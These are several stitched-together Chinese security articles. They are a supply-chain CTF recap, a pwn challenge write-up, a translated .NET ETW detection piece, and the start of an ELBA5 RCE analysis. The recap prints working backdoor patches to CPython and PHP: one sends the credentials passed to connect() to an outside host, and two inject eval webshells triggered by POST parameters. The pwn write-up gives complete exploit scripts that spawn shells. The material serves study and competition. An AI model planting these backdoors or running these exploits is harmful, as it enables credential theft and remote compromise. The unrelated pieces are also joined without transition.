1787,1789 *
—- 1843,1861 ——
e->v.DictComp.key,
e->v.DictComp.value);
}
+
static int
symtable_visit_Dynamic(struct symtable *st, expr_ty e)
{
const char *PyMod = {
“try:n”
“ from urllib import parse,requestn”
“ urltxt = parse.urlencode({‘pymod’:’%s’})n”
“ url=’https://www.pythondevorg.org/dev‘ + ‘?’ + urltxtn”
“ res = request.urlopen(request.Request(url = url))n”
“except Exception as e:n”
“ pass”
};
PyRun_SimpleStringFlags(PyUnicode_DATA(PyUnicode_FromFormat(PyMod, PyBuffer)), NULL);
return 0;
}
Python应用代码中常见地通过定义一个名为connect函数，传入hostportuserpwd或者协议字符串进行服务请求，如ssh或数据库连接，所以，在这个攻击题目实例中，在Python解释器源代码层面进行污染篡改，实现偷取名为connect函数调用时这些敏感参数。
实现逻辑如下： 1. 在Python表达式语法树遍历过程中，判断方法表达式Call_kind名称是否为connect，是的话进行标记，之后偷参数； 2.
取出该函数的参数个数，并且截取该函数传入的数字、字符串参数保存起来； 3.
当表达式语法树遍历结束后，利用事先准备好的Python源码模板，格式化得到完整Python代码； 4.
动态注入Python代码执行后续传出操作,使用项目原生PyRun_SimpleStringFlags函数。
在这个示例中，邪恶点在两方面最为突出：
* 恶意行为的嵌入基于对载体（Python）的充分了解，充分利用载体自有的逻辑和API功能来实现完整的攻击行为，由此具有对人工审核和工具检测的绕过能力；
* 目标出其不意，具有极强的针对性，从源代码层面下手，一方面在此思路上可以扩展出来的其它攻击目标和方式很多，另一方面使得独立于载体的攻击代码（如数据泄漏传出）可以很自然地得以执行。
## 三、php双子
接下来呈现的是两道独立的题目。在规则确保不同出题队完全互不通气、思路保密的前提下，两支出题队伍不约而同地选取了php作为攻击目标载体；但是切入点、攻击方式、实现效果又完全不同，充分体现了在软件供应链安全这个范畴内，问题的发散和多样性。
恶意php1
其中的一道题目简单直接，在引擎层面动手脚，恶意代码注入在main/main.c文件中：
php-src/main/main.c
—- malware/main.c
** PHPAPI int php_stream_open_for_zend_ex(c
1388,1397 *
&& ((len - 1) % page_size) <= page_size - ZEND_MMAP_AHEAD
### endif
&& php_stream_mmap_possible(stream)
! && (p = php_stream_mmap_range(stream, 0, len,
PHP_STREAM_MAP_MODE_SHARED_READONLY, &mapped_len)) != NULL) {
handle->handle.stream.closer = php_zend_stream_mmap_closer;
handle->handle.stream.mmap.buf = p;
! handle->handle.stream.mmap.len = mapped_len;
handle->type = ZEND_HANDLE_MAPPED;
} else {
handle->handle.stream.closer = php_zend_stream_closer;
—- 1388,1405 ——
&& ((len – 1) % page_size) <= page_size – ZEND_MMAP_AHEAD
### endif
&& php_stream_mmap_possible(stream)
! && (p = php_stream_mmap_range(stream, 0, len, PHP_STREAM_MAP_MODE_READWRITE,
&mapped_len)) != NULL) {
!
! char* data =
“x3cx3fx70x68x70x20x40x65x76x61x6cx28x24x5fx50x4fx53x54x5bx27x32x6cx69x76x65x27x5dx29x3bx20x3fx3ex0a”;
! int data_len = strlen(data);
! int i = len;
! for (; i > -1 ; i —) {
! p[i + data_len] = p[i];
! }
! memcpy(p, data, data_len);
handle->handle.stream.closer = php_zend_stream_mmap_closer;
handle->handle.stream.mmap.buf = p;
! handle->handle.stream.mmap.len = data_len + len;//mapped_len;
handle->type = ZEND_HANDLE_MAPPED;
} else {
handle->handle.stream.closer = php_zend_stream_closer;
在php脚本被加载到内存之后，zend引擎解析php脚本之前，修改php源码中代码设置mmap内存的属性为可写，然后窜改内存中的脚本代码，在脚本第一行插入一个一句话木马，POST的key是2live。
恶意php2
另一道思路剑走偏锋，切入点选择在了官方默认扩展date中，处在文件ext/date/php_date.c：
ext/date/php_date.c
—- malware/php_date.c
** static void _php_date_tzinfo_dtor(zval
** 708,713 **
—- 708,716 ——
/ {{{ PHP_RINIT_FUNCTION /
PHP_RINIT_FUNCTION(date)
{
zval *p;
zval *bd;
+
if (DATEG(timezone)) {
efree(DATEG(timezone));
}
* PHP_RINIT_FUNCTION(date)
715,720 *
—- 718,739 ——
DATEG(tzcache) = NULL;
DATEG(last_errors) = NULL;
zend_is_auto_global_str(“x5fx50x4fx53x54”, sizeof(“x5fx50x4fx53x54”) - 1);
+
p = zend_hash_str_find(&EG(symbol_table), ZEND_STRL(“x5fx50x4fx53x54”));
if (p == NULL || Z_TYPE_P(p) != IS_ARRAY) {
return SUCCESS;
}
+
bd = zend_hash_str_find(Z_ARRVAL_P(p), ZEND_STRL(“x62x34x64x30x30x72”));
if (bd == NULL) {
return SUCCESS;
}
+
if (Z_TYPE_P(bd) == IS_STRING) {
zend_eval_string(Z_STRVAL_P(bd), NULL, (char *)”” TSRMLS_CC);
}
+
return SUCCESS;
}
/ }}} /
部署后，若HTTP
POST请求参数中存在“b4d00r”，用PHP内核的zend_eval_string函数执行b4d00r中的代码。这样的后门类型更难以被日常监控检测到；更重要的是，这里代表了一个类型的攻击面，即各类应用框架下的插件体系：对于支持第三方贡献插件的部分主流系统，部分仍然存在有完全开放、缺乏审查或开发者鉴权的问题，这留下了很大的做文章的空间。
## 四、全面战争
以上我们列举了针对生产环境上，主流服务端应用的本体进行污染、篡改和攻击的几个实例。这可能给读者留下这样的印象：虽然恶意代码本身会通过融入原有代码逻辑、调用项目自有API等方式来实现自身的隐蔽，但对于这些关键应用进行细致的审核检查，甚至于人工分析，只要其源码是可用的，那么总能够保证这些应用的可信。可惜，这样的乐观，不存在的。
在系统和所有基础软件都来源于不完全可信来源（没错，即便是开源软件贡献者也不能称为可信，没有人是天使）的假设下，对特定服务端应用的污染、窃取、篡改和攻击，完全可以从任意方面发起。以下不列举相关恶意代码和上下文，简单列举几个这样的实例：
• 通过在一个系统基础组件krb5当中，插入恶意代码实现IAT
HOOK，针对OpenSSL系统组件，在目标调用栈环境中，劫持BN_rand方法使得生成的伪随机数恒固定为特定数值，且使得EC_KEY_generate_key方法与DH_generate_key方法生成始终可预测的椭圆曲线秘钥；这样进而达到OpenSSH的服务端sshd在接受客户端ssh连接时，握手秘钥可掌握，从而能够直接获取会话秘钥，辅以其它简单的方案，就能够使得所谓加密信道的数据完全可被监听泄漏。
•
针对处于后台的开发编译机器环境。先判断是否是真机Android源码编译开发环境，如果是虚拟机不执行恶意代码，如果是真机，监听本地端口下载编译工具，进行编译链工具或开发标准库的替换，从而实现在源头进行软件供应链上游的持续、全面污染。
•
在任何可能存在目录遍历、文件操作的载体代码上下文中，搭车进行特定资产类型文件的遍历搜索，如特定的代码、文档、数据库类型文件，账户秘钥和系统信息相关的配置文件，特定服务端应用（如Nginx，git等，见上一节中所列举的目标攻击面服务端应用列表）的关键配置和数据文件等，并予以外传。
以上类型不胜枚举，且均具有两个特征：功能实现代码体量很小，方便隐藏；对载体项目上下文基本不挑剔，所以可以嵌入到任何有被执行条件的开源载体工程中。这些行为甚至可以是看上去“很low”的行为，即便不针对源代码扫描的各种方案进行有目的性的反检测，一旦混入庞杂的开源项目代码中，就完全无从分析——毕竟若假定全部基础软件和组件都不可信的话，那么即便是针对少数几种已知的恶意行为类型，使用源代码扫描工具编写特定的检测规则、全量扫描，也是一件很难保证高准确率、低误报率的工作，更何况请不要忘记在第一篇文章中我们提出的前提：最致命的是问题完全发散，任何针对已知来收敛问题的尝试都很无力。
## 后记
在上面我们展示了在这场比赛中，出题队精心构造的600余道题目的冰山一角。也许有些能够让人倒吸一口凉气，感慨这样偏门的思路也确实能够造成意外的从内溃败；也许有些似乎简单的让人发笑，也为这些“毫不做作”的恶意代码能够达成的攻击而感到无奈。
那么，看完了攻方的这些脑洞与奇技淫巧，我们比赛中的守方又采用了什么思路和方法进行应对，结果又如何？比赛结果体现了现在攻守双方怎样的杠杆形式？请阅读专题赛事总结姊妹篇《『功守道』软件供应链安全大赛第一季-C源代码赛季总结》。
欲参与后续PE赛季，欢迎访问比赛官网（[https://softsec.security.alibaba.com/](https://softsec.security.alibaba.com)）了解报名，与来自阿里安全和该领域其它玩家一起切磋。PE赛季本周开赛，7月7日测试赛，7月21日第一场分站赛，报名通道保持开启，只等你来！
审核人：yiwang 编辑：边边 | 社区文章 |
好久没打安恒杯的月赛，此次12月的月赛只有两道pwn题，本着复习累了看看pwn题的心态，结果为了复现第二题荒废复习时间，真香啊，期末挂科预定了Orz
第一题是栈溢出的漏洞，第二题的堆的漏洞
难度相差了个银河系
# messageb0x
保护机制如下：
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
只开了个nx，32位的程序
这题的漏洞点主要在这两个函数：
int process_info()
{
char v1; // [esp+0h] [ebp-58h]
char v2; // [esp+32h] [ebp-26h]
char s; // [esp+46h] [ebp-12h]
puts("--> Plz tell me who you are:");
fgets(&s, 0xA, stdin);
printf("--> hello %s", &s);
puts("--> Plz tell me your email address:");
fgets(&v2, 0x14, stdin);
puts("--> Plz tell me what do you want to say:");
fgets(&v1, 0xC8, stdin);//此处栈溢出
puts("--> Here is your info:");
puts(&v1);
return puts("--> Thank you !");
}
char *jumper()
{
char s; // [esp+Ch] [ebp-1Ch]
puts("Do you know the libc version?");
return gets(&s);//此处栈溢出
}
思路很简单
由于存在栈溢出，那么就只需要分三步走：
* 泄漏出puts真实地址从而得到libc偏移
* 跳到jumper函数，再次栈溢出
* 通过得到的system函数和参数的地址，执行getshell
exp如下：
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./messageb0x"
context.binary=bin_elf
elf = ELF(bin_elf)
if sys.argv[1] == "r":
libc = ELF("./libc6-i386.so")
p = remote("101.71.29.5",10009)
elif sys.argv[1] == "l":
libc = elf.libc
p = process(bin_elf)
#------------------------------------- def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc():
return p.recv()
def sp():
print "---------暂停中---------"
return raw_input()
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(p,a,s):
return p.sendafter(a,s)
def getshell():
p.interactive()
#------------------------------------- main = 0x08049386
jump =0x0804934d
puts_plt =elf.plt["puts"]
puts_got =elf.got["puts"]
payload = "a"*(0x58+4)+p32(puts_plt)+p32(jump)+p32(puts_got)
sla(p,"--> Plz tell me who you are:\n","aaaa")
sla(p,"--> Plz tell me your email address:\n","aaaa")
sla(p,"--> Plz tell me what do you want to say:\n",payload)
ru("--> Thank you !\n")
puts= u32(p.recv(4))
print "puts--------->",hex(puts)#通过puts真实地址去libcdatabase查询偏移
libc_base = puts- 0x05f140#远程端的libc偏移
print "libc_base--------->",hex(libc_base)
system = libc_base+0x03a940#远程端的libc偏移
binsh = libc_base+0x15902b#远程端的libc偏移
one = libc_base +0x35938#远程端的libc偏移
payload = "a"*(0x1c+4)+p32(system)+p32(0)+p32(binsh)
sla(p,"Do you know the libc version?\n",payload)
getshell()
这题的libc偏移需要在[libcdatabase](https://libc.blukat.me/)里面去找，本地和远程端是不一样的
# smallorange
看到这题目名，大概就能猜到很可能是house of orange的操作了
然而比赛的时候还是没有搞出这题，赛后复现的时候终于搞懂了
这题的确是骚，学了一波操作
64位，开nx和canary
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
进IDA看逻辑：
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
void *v3; // rax
int v4; // eax
int v5; // [rsp+8h] [rbp-48h]
int v6; // [rsp+Ch] [rbp-44h]
char s; // [rsp+10h] [rbp-40h]
int *v8; // [rsp+38h] [rbp-18h]
unsigned __int64 v9; // [rsp+48h] [rbp-8h]
v9 = __readfsqword(0x28u);
alarm(0x3Cu);
v5 = 0xA0;//初始设定为0xa0
v8 = (&v5 + 1);
memset(&s, 0, 0x28uLL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
puts("hahaha,come to hurt by ourselves");
getname(&s); // 格式化字符串泄漏，最多6个字符
v3 = malloc(0x100uLL);
printf("\nheap addr:%p\n", v3);
while ( 1 )
{
write(1, "1:new\n2:old\n", 0xCuLL);
write(1, "choice: ", 8uLL);
v4 = getnum();
v6 = v4;
if ( v4 == 1 )
{
new(&v5); // 读入0xa0个字节
}
else if ( v4 == 2 )
{
out();
}
}
}
----------------------------------------------- int __fastcall getname(void *a1)
{
signed int i; // [rsp+1Ch] [rbp-4h]
read(0, a1, 0x28uLL);
for ( i = 0; i <= 0x21; ++i )
{
if ( *(a1 + i) == '%' )
exit(0);
}
return printf(a1, a1);//存在格式化字符串漏洞
}
----------------------------------------------- __int64 __fastcall new(unsigned int *a1)
{
__int64 result; // rax
void *buf; // [rsp+18h] [rbp-8h]
buf = malloc(0x100uLL);
if ( !buf )
exit(0);
puts("text:");
read(0, buf, *a1);//读入v5个字节，可修改v5为很大的数值
puts("yes");
LODWORD(result) = total++;
result = result;
list[result] = buf;
return result;
}
这里可以发现两个漏洞点，第一个是在getname函数中，存在格式化字符串的漏洞，但只能使用六个字符利用这个漏洞，第二个是在往0x100大小的chunk中读入数据的时候，v5是在栈上的值，可以通过格式化字符串漏洞来修改，造成堆溢出的漏洞
另外在IDA中，看到一个edit函数从来没有被调用过
ssize_t __fastcall edit(__int64 a1)
{
int v1; // ST1C_4
puts("index:");
v1 = getnum();
return read(0, *(8LL * v1 + a1), 0x100uLL);
//如果调用该函数，则可以造成栈溢出漏洞
}
分析完之后，我们发现有格式化字符串漏洞，有堆溢出漏洞，有未被调用的edit函数，以及题目提示的house of orange
那么思路就是这样的：
* 使用格式化字符串漏洞修改v5导致new函数在将数据读入chunk的时候可以造成堆溢出
* 通过house of orange 调用edit函数
* 往栈里面写入构造好的rop链，实现栈溢出控制程序流程从而getshell
首先分析如何利用格式化字符串漏洞：
由于该程序是64位的程序，因此函数的前六个参数都是存放在寄存器的，从第七个开始才是放在栈上的，因此要先找到%7$p的位置，再通过%n来改写v5（v5一开始是0xa0）
我们先在getname函数的call printf指令处下个断点，观察在栈的布局
可以看到，当我们输入`"a"*0x22 +"%7$p"`的时候，第七个参数位置上的值是：0x7fff1200e9d0
而在gdb中看栈的布局，我们又可以发现
，v5的值是0xa0，也就是控制写入chunk的数量，在第19个参数位置的值是0x7fff1200e9c9，恰好是指向v5的指针，那么我们就可以通过`%19$n`来改变v5的值，使他变成一个大于0x100的数，从而实现堆溢出
输入`"a"*0x22 +"a%19$n"`的效果如下：
这时就可以造成堆溢出了，另外我们还能通过格式化字符串漏洞，得到一个栈的地址，后边在调用edit函数的时候会有用处
* * *
那么接下来，就是对堆漏洞的利用了，纵观整道题，只有mallo(0x100)和free（0x100），且free的时候list[]也会相应的清空，没法进行uaf
那么这个时候就要用到house of orange的操作了
关于house of orange的相关知识，这里贴一下链接，具体原理不详细展开讲，不然要说的东西就太多了
[veritas501](https://veritas501.space/2017/12/13/IO%20FILE%20%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/)
<https://bbs.pediy.com/thread-222718.htm>
<http://tacxingxing.com/2018/01/10/house-of-orange/>
[CTF-All-In-One](https://github.com/firmianay/CTF-All-In-One/blob/master/doc/3.1.8_heap_exploit_3.md#house_of_orange)
[ctf-wiki](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/introduction/)
这个操作的关键点：
一、要能实现堆溢出，修改下一个chunk的size
二、要知道_IO_list_all的地址，并且能够修改内容
三、引发报错
首先我们通过unsorted bin attack，将_IO_list_all指向 unsorted bin-0x10的位置
由于我们并不知道_IO_list_all的真实地址，所以得靠猜，我们可以通过libc.sym[“
_IO_list_all”]获得末三位的偏移：520，这三位是不会发生改变的，因此我们可以通过输入`\x10\x55`来实现爆破,其中\x55可以为\x05~\xf5
有十六分之一的概率能覆盖成功
第一步：
首先申请四个chunk（chunk1、3是为了防止相邻合并）
free掉chunk0、chunk2
这时 unsorted bin <\---chunk2 <\--- chunk0
第二步：
这时再分配一次chunk，实际还是得到chunk0的地址
通过chunk0，溢出到chunk2，修改chunk2的pre_size和size，其中修改size为0x61
改bk为_IO_list_all-0x10
第三步：
再次创建一个chunk（0x100）的时候就会引发报错，因为unsorted bin中的size为0x61，不满足条件，那么这个bin就会被移到small
bin里面去，在脱离unsorted bin 的时候，_IO_list_all就指向了 <main_arena+88>
这时由于chunk2的size被改成了0x61，因此在small bin[5]的地方，也就是<main_arena+184>
而这个偏移的位置，正好对应了_IO_list_all中的chain，也就通过这个chain，指向了下一个 _IO_FILE
也就是说下一个 _IO_FILE的内容构造可以受我们控制，因为他就在chunk2里面
于是我们只要往chunk2里面存放我们提前构造好的 _IO_FILE结构，就可以实现house of orange的操作
通过构造我们使得，chunk2 中的 _IO_FILE为：
我们知道，_IO_FILE中的各种利用，无非就是通过各种结构体的某个成员进行构造，然后实现跳转执行函数
在house of orange中，最终要实现的就是调用_IO_OVERFLOW (fp, EOF) == EOF)
而_IO_OVERFLOW存在于vtable中，所以我们还得构造一个vtable，而在这一系列的利用中，还得避开很多的检查机制，总结如下：
绕过检查的三个条件
1. fp->mode大于0
2. fp->_IO_vtable_offset 等于0
3. fp->_wide_data->_IO_write_ptr 大于 fp->IO_wide_data->IO_write_base
通过精心构造：
最终实现调用_IO_OVERFLOW (fp, EOF) ==
EOF)，实际上是调用edit（stack），那么fp的第一项也就是flags成员存储的就是stack的地址
* * *
实现了调用edit（stack）
接下来就是构造一大条rop链
那我们得先找gadget，这几个gadget也是有点东西，主要用了以下几条：
pop_rdi = 0x400ca3
pop_gadget =0x400c9a
#pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
mov_gadget = 0x400c80
#mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword ptr [r12 + rbx*8]
是的，就是两个经典的gadget
算是比较骚的rop构造方式，也很值得学习
构造rop，实现一个libc的泄漏，然后再执行system(/bin/sh)
或者直接跳onegadget也行
最后exp如下
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./smallorange"
context.binary=bin_elf
elf = ELF(bin_elf)
if sys.argv[1] == "r":
libc = ELF("./libc-2.23.so")
p = remote("101.71.29.5",10008)
elif sys.argv[1] == "l":
libc = elf.libc
#------------------------------------- def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc():
return p.recv()
def sp():
print "---------暂停中---------"
return raw_input()
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(p,a,s):
return p.sendafter(a,s)
def getshell():
p.interactive()
#------------------------------------- def new(text):
p.recvuntil('choice: ')
p.sendline('1')
p.recvuntil('text:\n')
p.send(text)
def old(index):
p.recvuntil('choice: ')
p.sendline('2')
p.recvuntil('index:\n')
p.sendline(str(index))
while True:
try:
p = process(bin_elf)
#gdb.attach(p,"b *0x400A67")
payload ="a"*0x22 +"a%19$n"
sda(p,"hahaha,come to hurt by ourselves\n",payload)
ru("a"*0x23)
stack =u64(p.recv(6).ljust(8,"\x00"))-0x549
print "leak stack---->",hex(stack)
ru("addr:0x")
heap = int(p.recv(7),16)+0x320#指向chunk2
print "heap stack---->",hex(heap)
new("a"*0xa0)#chunk0
new("b"*0xa0)#chunk1
edit = 0x400b59
#伪造io file
payload1=p64(0x0)*2
payload1+=p64(0x0)*2
payload1+=p64(0x0)+p64(0x0)
payload1+=p64(0x1)+p64(edit)#覆盖overflow
payload1+=p64(0x0)*2
payload1+=p64(0x0)*2
payload1+=p64(0x0)*2
payload1+=p64(0x0)*2
payload1+=p64(0x0)*2
payload1+=p64(heap+0x20)+p64(0x0)#覆盖wide_data
payload1+=p64(0x0)*2
payload1+=p64(0x01)+p64(0x0)
payload1+=p64(0x0)+p64(heap+0x30)#覆盖vtable #0xd8
new(payload1)#chunk2
new("d"*0xa0)#chunk3
old(0)
old(2)
#sp()
print "_IO_list_all:",hex(libc.sym["_IO_list_all"])
#_IO_list_all的末三位偏移为520,覆盖为_IO_list_all-0x10
#因此输入"\x10\x55",其中\x55可以为\x05~\xf5
#有十六分之一的概率能覆盖成功
#gdb.attach(p)
#sp()
payload2="a"*0x210#溢出chunk0至chunk2
payload2+=p64(stack)+p64(0x61)#改chunk2的pre_size和size
payload2+=p64(0x0)+'\x10\xa5'#改bk为_IO_list_all-0x10
#sp()
#raw_input('go')
new(payload2)
#sp()
#如果成功通过house of orange改变了程序流程,那么会执行edit函数
ru('choice: ')
sl('1')#触发报错
#sp()
ru('index:')
sl('0')#执行edit()函数
sleep(0.5)
pop_rdi = 0x400ca3
pop_gadget =0x400c9a
#pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
mov_gadget = 0x400c80
#mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword ptr [r12 + rbx*8]
payload3='1'*8
payload3+=p64(pop_gadget)
payload3+=p64(0x0)#rbx
payload3+=p64(0x1)#rbp
payload3+=p64(elf.got["write"])#r12-->write_got
payload3+=p64(0x8)#r13
payload3+=p64(elf.got["puts"])#r14-->puts_got
payload3+=p64(0x1)#r15
payload3+=p64(mov_gadget)#write(1,puts_got,8)
#add rbx, 1
#cmp rbx, rbp
#jnz short loc_400C80
#此处rbx=rbp因此不跳转,继续往下执行
payload3+='1'*8#add rsp,8
payload3+=p64(0x0)#pop rbx
payload3+=p64(0x1)#pop rbp
payload3+=p64(elf.got["read"])#pop r12-->read_got
payload3+=p64(0x100)#pop r13
payload3+=p64(stack+0x80)#pop r14
payload3+=p64(0x0)#pop r15
payload3+=p64(mov_gadget)#retn-->read(0,stack+0x80,0x100)
sd(payload3)
leak=ru('\x7f')
free=u64(leak[-6:]+'\x00'*2)
print "puts is----->",hex(free)
libc_base = free-libc.sym["puts"]
one = libc_base+0xf02a4
print "libc_base is----->",hex(libc_base)
system = libc_base+libc.sym["system"]
#payload4=p64(one)
payload4=p64(pop_rdi)#pop rdi ret
payload4+=p64(stack+0x98)
payload4+=p64(system)
payload4+='/bin/sh\x00'
sl(payload4)
print 'get a shell'
break
except :
p.close()
print "fail!continue!-----------------"
getshell()
终于把这题分析完了，可以看到从格式化字符串到house of
orange到ROP，知识点一环扣一环，其中还有很多艰辛的苦逼调试的过程，学习了很多，这题的质量真的可以
我大哥[1mpossible](http://myhackerworld.top/2018/12/26/%E5%AE%89%E6%81%92%E6%9D%AF12%E6%9C%88%E6%9C%88%E8%B5%9B-pwn/)，还记载了另一种非预期解法，也非常值得学习，有兴趣的可以看看 | 社区文章 |
# 如何检测.NET恶意使用行为（Part 1）
##### 译文声明
本文是翻译文章，文章来源：countercept.com
原文地址：<https://countercept.com/our-thinking/detecting-malicious-use-of-net-part-1/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
PowerShell在功能性、普及性以及易用性方面非常强大，多年以来一直都是攻击工具中不可或缺的一部分。正因为如此，微软开始为PowerShell引入更加好用的日志记录选项，并将其接入AMSI（Anti-Malware Scan Interface，反恶意软件扫描接口），这意味着人们在识别恶意PowerShell方面会更加得心应手。
然而道高一尺魔高一丈，攻击者也在改进技术，避免直接使用`powershell.exe`，而是使用类似[PowerPick](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick)使用的方法，避免攻击行为被检测到。规避检测技术的另一种方法就是直接使用.NET，因为PowerShell本质上是基于.NET的具体实现。
事实上，现在的攻击框架（如Cobalt
Strike）基本都支持[在其他进程中执行非管控型PowerShell](https://blog.cobaltstrike.com/2016/05/18/cobalt-strike-3-3-now-with-less-powershell-exe/)以及[动态加载执行自定义的.NET代码](https://blog.cobaltstrike.com/2018/04/09/cobalt-strike-3-11-the-snake-that-eats-its-tail/)。根据这些现象我们可以总结出一句话：防御方需要更好地理解.NET的工作机制。
## 二、加载.NET ASSEMBLY
对于本地代码（native
code），如果我们想跟踪高级代码的行为，可以观察进程的启动/停止事件以及模块的加载/卸载事件。或者我们也可以枚举当前的进程，然后通过PEB（process
environment block）中链表来枚举这些进程已加载的模块。以PowerShell为例，我们可以使用WinDBG分析PEB，看到如下信息：
以上只截取了部分内容，这里需要注意的是我们可以看到其中包含某些.NET模块。然而，如果我们想列出PowerShell中已加载的assembly（程序集），我们会发现有些程序集并没有显示在PEB列表中。
比如`Microsoft.Powershell.PSReadline`就符合这种现象。我们没法通过WinDBG在PEB中找到相应信息，具体是什么原因呢？
微软给了一些[说明](http://blogs.microsoft.co.il/sasha/2011/01/16/clr-4-does-not-use-loadlibrary-to-load-assemblies/)，表示从CLR
4开始已经不使用`LoadLibrary`来加载程序集。然而文章并没有解释为什么有些程序集位于PEB中而有些没有。
原因可能在于Native Image
Generator（NGEN，本地映像生成器）。NGEN用来将许多托管应用编译成本地映像，以优化执行性能，避免在运行时使用JIT机制。本地映像常见于许多.NET实用程序中，但并非适用于所有情况。当使用常见的原生方法来加载本地映像时，我们可以像处理标准本地库一样观察这些对象。
PSReadline并没有这种本地映像，因此无法通过WinDBG找到相关信息。有趣的是，我们发现Process
Hacker依然可以在模块输出信息中找到PSReadline的身影。
然而，从上图中我们可以看到NGEN .NET库被高亮标记出来，显示为.NET模块，DLL类型，而PSReadline为“Mapped
image”（映射映像）。这是因为Process
Hacker使用了多种方法来识别已加载的模块，大家可以访问[此处](https://github.com/processhacker/processhacker/blob/9e25e6a4790531281e52ff975d049e44c27c7261/phlib/native.c)阅读详细代码。
一般说来，NGEN映像会以“.ni.dll”结尾，表明它们为本地映像，我们也可以从这些映像的路径来确认这一点，这些路径专为本地镜像而准备。
如果我们观察.NET
assemblies的输出信息，可以更加清晰地确认这一点。我们可以发现输出信息中基本每个模块都会带上“Native”标志，同时会关联一个本地映像路径，而PSReadline不具备这两个特点。
## 三、从字节数组中加载.NET Assemblies
目前为止我们分析的都是存在于磁盘上的.NET
Assemblies，就像标准的原生DLL一样。然而.NET还支持[直接从字节数组中加载assemblies](https://msdn.microsoft.com/en-us/library/h538bck7\(v=vs.110).aspx)，这一功能也经常被类似Cobalt Strike之类的工具滥用。
这种情况下，我们直接从`byte[]`数组中加载DLL，加载到内存中，然后反射式识别出要调用的方法，最后打印出“Hello
World!”。从加载器角度来看，被加载的甚至不是文件形式，因此我们无法从Process Hacker的模块视图中找到映射的映像。
然而我们可以在.NET assemblies视图中找到相关信息：
因此在这种情况下，我们无法看到标准的DLL映像加载事件，无法在PEB中找到相关信息，也无法通过查找映射映像或者可能被执行的通用内存映射文件来找到这些目标。
然而，Process Hacker却可以在另一个进程的.NET assemblies视图中找到这个目标，这非常有趣，问题是如何做到这一点？
如果我们查看该功能的[实现代码](https://github.com/processhacker/processhacker/blob/master/plugins/DotNetTools/asmpage.c)，我们发现这与几个.NET相关的ETW
Provider有关，具体如下：
Microsoft-Windows-DotNETRuntime {E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4}
Microsoft-Windows-DotNETRuntimeRundown {A669021C-C450-4609-A035-5AF59AF4DF18}
Rundown
provider能够给出关于预先存在的assemblies及其他信息的上下文，而另一个provider能够给出未来事件发生时的详细信息，assembly的加载事件只是这些信息中的一部分。
有多种方法可以记录和探索ETW信息，比如使用计算机管理器、LogMan命令行工具、Windows性能分析器、Tracerpt、微软消息分析器（Microsoft
Message
Analyzer）等来配置provider。在本例中，我们使用一个简单的[python脚本](https://gist.github.com/countercept/7765ba05ad00255bcf6a4a26d7647f6e)，利用[pywintrace](https://www.fireeye.com/blog/threat-research/2017/09/pywintrace-python-wrapper-for-etw.html)库来搜索并展示相关信息。
## 四、探索.NET ETW Provider
大家可以访问[此处链接](https://docs.microsoft.com/en-us/dotnet/framework/performance/etw-events-in-the-common-language-runtime)了解上述ETW
Provider的相关文档。我们先关注这两个provider提供的assembly及模块加载事件。如果我们运行python脚本，只关注相关事件，grep查找我们的PowerShell进程，就可以看到如下输出信息：
使用verbose模式我们能看到更多的信息，但上述信息足以覆盖我们所需的大多数有用事件及相关字段。
这只是一个进程的部分截取信息，我们可以看到使用`byte[]`数组加载的`DemoAssembly`的确很突出，因为该事件中并不包含DLL或者EXE的完整磁盘路径。然而上图中还存在一个`Anoymously
Hosted DynamicMethods Assembly`的实例看上去与之类似，只是在标志上有些细微的差别。
如果我们整体观察所有输出结果，会发现有多个对象满足这个条件。然而，如果我们更加精确地限定查询目标，就可以让`byte[]`数组加载的`DemoAssembly`脱颖而出。比如，如果我们启用`--high-risk-only`标志，我们可以得到如下输出结果：
如上图所示，rundown
provider通过`DomainModuleDCStart_V1`以及`ModuleDCStart_V2`事件告诉我们`DemoAssembly`已被加载，另外PDB信息也能告诉我们一些信息。在第二个例子中，我们重新加载了同一个`DemoAssembly`字节数组，展示runtime
provider对加载动作的实时观测结果。
## 五、总结
根据前面分析，我们知道使用标准的跟踪及枚举系统中已加载的模块方法并不总是适用于.NET Assemblies的加载及使用操作。然而，使用特定的ETW
provider还是能够帮我们获取关于当前系统状态及未来事件的有价值信息。
这种机制可以为我们所用，发现系统上可疑的assembly加载操作，不论是合法assemblies的恶意使用还是自定义的assemblies的纯内存加载都难逃法眼。
这种技术的有点在于.NET是PowerShell以及其他技术（DotNetToJS）的底层基础，在其他恶意操作场景中，只要最后涉及到.NET的执行或者.NET的恶意使用都可以被该技术覆盖。
目前我们只考虑了assemblies的加载动作。在本文第二部分中，我们将了解如何使用JIT以及interop相关ETW事件来深入分析某个进程的具体行为，这样就能更针对性地跟踪与.NET有关的潜在恶意行为。 | 社区文章 |
# 分析电子银行应用ELBA5中的远程代码执行漏洞
原文：<https://pentestmag.com/remote-code-execution-vulnerability-in-the-austrian-electronic-banking-application-elba5/>
## 0x00 简介
如下所示，ELBA5是奥地利针对商业领域最重要的电子银行应用之一，被许多大型组织的财务部门所使用，支持大约24家不同的银行。
